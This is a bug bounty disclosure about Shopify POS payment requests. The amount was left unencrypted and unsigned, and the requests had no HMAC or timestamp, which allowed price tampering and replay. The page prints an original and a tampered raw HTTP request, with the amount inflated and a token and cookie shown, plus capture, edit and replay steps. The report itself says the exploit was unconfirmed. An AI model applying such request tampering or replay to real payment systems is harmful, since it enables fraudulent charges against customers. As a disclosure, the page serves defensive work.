Multiple issues on Checkout Process
The Shopify POS payment request encrypted the card data but left the transaction amount outside the encrypted payload and unsigned, so an attacker intercepting traffic could change the amount. The same requests also lacked an HMAC or timestamp, so they could be replayed from other machines and IP addresses.
- Disclosed after 35 days
Description
While reviewing the Shopify POS application we found that the application was encrypting the CHD information, but it was leaving the amount outside of the payload and the post lacked any sort of HMAC signature preventing replay attacks. In addition, given the application does not enforce SSL Pinning a malicious seller could easily install a certificate to force messages through a proxy in which the attacker could alter content.
**Disclosure: We used the cards provided on https://docs.shopify.com/manual/more/shopify-payments/testing-shopify-payments but all of them returned as rejected. Because of this we are assuming that given both messages were declined both altered or unaltered the application is vulnerable. **
ISSUE 1)
- An attacker could potentially edit on the fly the amount and trick clients into being charged more than they agreed to on the screen.
POST /admin/checkouts/478724673/payments.json HTTP/1.1
Host: matias31.myshopify.com
Accept: application/json
Proxy-Connection: keep-alive
Accept-Language: en;q=1
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 1239
X-Shopify-Access-Token: a75123bf22a67c69bcc2b0398c6ded6a
Connection: keep-alive
User-Agent: Shopify POS/35 (iPhone; iOS 8.1; Scale/2.00)
X-ClientRequestGroupID: 604A1AC2-852F-4300-B15D-36E0936CC605
Cookie: _secure_admin_session_id=eba644210071f25ddab934caaa173135; request_method=GET
{"ignore_inventory_policy":true,"checkout_payment":{"amount":38.49,"credit_card":{"ciphertext":"N3DXsjp3J3gN817VTQE1UvVzCflCX+RDS05h7BHbdhNzc0ydr6lWhANmORXeM6xsG9154fKIm293uKZMW1vVYuiCb7CYsi\/Qx597bU1wp2zjZnKCBbLnRmgQQ656rGSb","iv":"uTir8XddCSvHoOee7r7VZg==","key":"Go0StBWztyF5idVq3ODQdzlCWFX3U8jy5yqK9uK\/WXtDjuzOKJb6y2GPkpsJgdixsllGW2xgAOMyELqi3wSaeXcjWYF3g2lXO7WgCp+Kq5A6CCmLPBL+8ocbFB9NI3YDPjyc4K4Dan5AMormO2sszLj0EFoHYDLCUUG6SSAhDmdsHf1ZLZC1f6k71wl8VLcfhDysrdREu2fo\/CYCR5bkxjrncm2b\/zwetrHHvroxY76CC2bLvaBc2XrFMiiJvxgT3dZVET8Ugl3m2vi0A1UAEOIx6Y16aFH1NUZph04T2t3xi+sLakz7i+bCmtfK0nGyjiHeZudyuCk7g113nA6DemznpBDVpcBjCpQUh5rqUnHyLVIeGN3t0rMB1QeHjKLfdxIl8s2QMJI6ZxM4AokD+yVwy4fclZ0n4YBKS+eK+TJEqmvZO8DOIzqyblKUj5cZihPAZSST+HnKniEpc7ciXRHrlISEGWEOOhpsDuqUHYmmcKGxkXj+UZlX0BQkIGoRlRzNY0dDdDOSK6K5HV\/7mslFdepkX00vtAd5kyYjCFJsSE2900ejF9EEGYDX+1Rb0vjv1qQdxZzCPQWIpt+BXfOIQCXI8o+ZIecZEI7YJdOa8VpUnb8vC+4vPsBnZmJVN1v0UZ\/iRs0wS\/zjsaWNSBIoiBmJBHtQpxw9utv+BXY=","checksum":"Ate3s8OY2YD7YT5E+JWqnIcridxO0CVh55ZQKXZ+DTPEWf6T5O1IzRwbN\/2\/IGrjvzrT0J\/ZLNpGjOGLe4lwhw=="},"point_of_sale_device_id":809053,"billing_address":{"zip":"98101"},"location_id":454069,"user_id":7653165,"gateway_action":"sale","auto_finalize":true,"card_source":"manual"}}
Edited
POST /admin/checkouts/478724673/payments.json HTTP/1.1
Host: matias31.myshopify.com
Accept: application/json
Proxy-Connection: keep-alive
Accept-Language: en;q=1
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 1239
X-Shopify-Access-Token: a75123bf22a67c69bcc2b0398c6ded6a
Connection: keep-alive
User-Agent: Shopify POS/35 (iPhone; iOS 8.1; Scale/2.00)
X-ClientRequestGroupID: 604A1AC2-852F-4300-B15D-36E0936CC605
Cookie: _secure_admin_session_id=eba644210071f25ddab934caaa173135; request_method=GET
{"ignore_inventory_policy":true,"checkout_payment":{"amount":33338.49,"credit_card":{"ciphertext":"N3DXsjp3J3gN817VTQE1UvVzCflCX+RDS05h7BHbdhNzc0ydr6lWhANmORXeM6xsG9154fKIm293uKZMW1vVYuiCb7CYsi\/Qx597bU1wp2zjZnKCBbLnRmgQQ656rGSb","iv":"uTir8XddCSvHoOee7r7VZg==","key":"Go0StBWztyF5idVq3ODQdzlCWFX3U8jy5yqK9uK\/WXtDjuzOKJb6y2GPkpsJgdixsllGW2xgAOMyELqi3wSaeXcjWYF3g2lXO7WgCp+Kq5A6CCmLPBL+8ocbFB9NI3YDPjyc4K4Dan5AMormO2sszLj0EFoHYDLCUUG6SSAhDmdsHf1ZLZC1f6k71wl8VLcfhDysrdREu2fo\/CYCR5bkxjrncm2b\/zwetrHHvroxY76CC2bLvaBc2XrFMiiJvxgT3dZVET8Ugl3m2vi0A1UAEOIx6Y16aFH1NUZph04T2t3xi+sLakz7i+bCmtfK0nGyjiHeZudyuCk7g113nA6DemznpBDVpcBjCpQUh5rqUnHyLVIeGN3t0rMB1QeHjKLfdxIl8s2QMJI6ZxM4AokD+yVwy4fclZ0n4YBKS+eK+TJEqmvZO8DOIzqyblKUj5cZihPAZSST+HnKniEpc7ciXRHrlISEGWEOOhpsDuqUHYmmcKGxkXj+UZlX0BQkIGoRlRzNY0dDdDOSK6K5HV\/7mslFdepkX00vtAd5kyYjCFJsSE2900ejF9EEGYDX+1Rb0vjv1qQdxZzCPQWIpt+BXfOIQCXI8o+ZIecZEI7YJdOa8VpUnb8vC+4vPsBnZmJVN1v0UZ\/iRs0wS\/zjsaWNSBIoiBmJBHtQpxw9utv+BXY=","checksum":"Ate3s8OY2YD7YT5E+JWqnIcridxO0CVh55ZQKXZ+DTPEWf6T5O1IzRwbN\/2\/IGrjvzrT0J\/ZLNpGjOGLe4lwhw=="},"point_of_sale_device_id":809053,"billing_address":{"zip":"98101"},"location_id":454069,"user_id":7653165,"gateway_action":"sale","auto_finalize":true,"card_source":"manual"}}
ISSUE 2) The second issue sounds like These POST messages can be replayed. The transactions seams to lack an HMAC signature which a time constrain to reduce the window of opportunity for attacks. We tested these request from different machines, and IPs and they still get a job assigned.
Recommendations
For issue 1) include the amount on the encrypted payload to further protect the packet and also raise the for people trying to abuse the POS application. For issue 2) the use of an HMAC that adds the price, could also make sure the payload is not altered.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the amount was not included in the encrypted and signed payload, and the request had no HMAC or timestamp to bind it to a single transaction.
Impact
An attacker able to intercept traffic could alter the charged amount or replay a payment request; the report notes the test cards were all declined, so the exploit was not fully confirmed.
What the attacker needed
Ability to intercept POS traffic; malicious or compromised seller device
The fix
The amount should be included inside the encrypted payload and the request should carry an HMAC covering the price and a timestamp to stop tampering and replay.
How it was found
- Capture a POS payment request sent to the checkout payments endpoint.
- Change the amount field in the request body while leaving the encrypted card data unchanged.
- Replay the same request from a different machine and IP address and observe it is still processed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a card payment is sent from a phone app, the sensitive card details are scrambled (encrypted) so nobody can read them. Here the price was not scrambled and had no tamper check, so someone sitting between the phone and the server could rewrite the price. The same message could also be sent again later, because nothing proved it was fresh.
What is Mobile?
Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.